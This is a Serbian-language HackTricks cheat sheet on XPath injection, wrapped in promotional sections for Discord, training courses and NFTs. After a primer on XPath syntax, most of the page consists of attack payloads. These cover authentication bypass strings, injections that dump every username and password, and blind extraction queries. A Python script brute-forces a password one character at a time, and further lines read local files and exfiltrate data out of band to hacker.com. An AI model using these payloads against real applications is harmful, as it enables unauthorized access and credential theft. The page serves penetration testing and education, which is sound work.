hacktricks/pentesting-web/xpath-injection.md

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# XPATH ubacivanje
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<details>
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<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
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**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
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**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
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## Osnovna sintaksa
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Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa radi upita ili navigacije XML dokumenata.
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### Opisane čvorove
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Izrazi se koriste za izbor različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sumirani u nastavku:
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* **nodename**: Izabrani su svi čvorovi sa imenom "nodename".
* **/**: Izbor se vrši od korenskog čvora.
* **//**: Izabrani su čvorovi koji se podudaraju sa selekcijom od trenutnog čvora, bez obzira na njihovu lokaciju u dokumentu.
* **.**: Izabran je trenutni čvor.
* **..**: Izabran je roditelj trenutnog čvora.
* **@**: Izabrani su atributi.
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### Primeri XPath-a
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Primeri putanja izraza i njihovi rezultati uključuju:
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* **bookstore**: Izabrani su svi čvorovi nazvani "bookstore".
* **/bookstore**: Izabran je korenski element bookstore. Napomenuto je da se apsolutna putanja do elementa predstavlja putanjom koja počinje kosom crtom (/).
* **bookstore/book**: Izabrani su svi čvorovi knjiga koji su deca bookstore-a.
* **//book**: Izabrane su sve knjige u dokumentu, bez obzira na njihovu lokaciju.
* **bookstore//book**: Izabrane su sve knjige koje su potomci elementa bookstore, bez obzira na njihov položaj ispod elementa bookstore.
* **//@lang**: Izabrani su svi atributi nazvani lang.
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### Korišćenje predikata
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Predikati se koriste za preciziranje selekcija:
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* **/bookstore/book\[1]**: Izabran je prvi čvor knjige dete elementa bookstore. Radno rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
* **/bookstore/book\[last()]**: Izabrana je poslednja knjiga dete elementa bookstore.
* **/bookstore/book\[last()-1]**: Izabrana je predposlednja knjiga dete elementa bookstore.
* **/bookstore/book\[position()<3]**: Izabrane su prve dve knjige dete elementa bookstore.
* **//title\[@lang]**: Izabrani su svi naslovi sa atributom lang.
* **//title\[@lang='en']**: Izabrani su svi naslovi sa vrednošću atributa "lang" jednog "en".
* **/bookstore/book\[price>35.00]**: Izabrane su sve knjige elementa bookstore sa cenom većom od 35.00.
* **/bookstore/book\[price>35.00]/title**: Izabrani su svi naslovi knjiga elementa bookstore sa cenom većom od 35.00.
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### Postupanje sa nepoznatim čvorovima
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Zvezdice se koriste za podudaranje nepoznatih čvorova:
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* **\***: Podudara se sa bilo kojim element čvorom.
* **@**\*: Podudara se sa bilo kojim atributnim čvorom.
* **node()**: Podudara se sa bilo kojim čvorom bilo kog tipa.
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Dodatni primeri uključuju:
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* **/bookstore/\***: Bira sve čvorove deteta elementa bookstore.
* **//\***: Bira sve elemente u dokumentu.
* **//title\[@\*]**: Bira sve naslove sa bar jednim atributom bilo kog tipa.
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## Primer
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```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
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<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
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<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
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<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
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### Pristupanje informacijama
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```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
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### Identifikacija i krađa šeme
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
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<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
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## Bypass autentifikacije
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### **Primer upita:**
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```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **OR zaobilaženje u korisniku i lozinci (isti podatak u oba)**
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```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
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### **Zloupotreba null ubrizgavanja**
```
Username: ' or 1]%00
```
### **Dvostruki ILI u korisničkom imenu ili u lozinci** (važi sa samo 1 ranjivim poljem)
VAŽNO: Primetite da je **"i" prva operacija koja se vrši**.
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```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## Izvlačenje stringova
Izlaz sadrži stringove i korisnik može manipulisati vrednostima radi pretrage:
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```
/user/username[contains(., '+VALUE+')]
```
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```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## Slepa eksploatacija
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### **Dobijanje dužine vrednosti i izvlačenje putem poređenja:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
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### **Python Primer**
```python
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import requests, string
flag = ""
l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Čitanje fajla
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## Iskorišćavanje OOB-a
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
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### Automatski alat
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* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
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## Reference
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
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* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
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**Uvidi u hakovanje**\
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Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
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2024-02-10 13:11:20 +00:00
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu
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**Poslednje najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
2023-02-27 09:28:45 +00:00
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**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
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* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>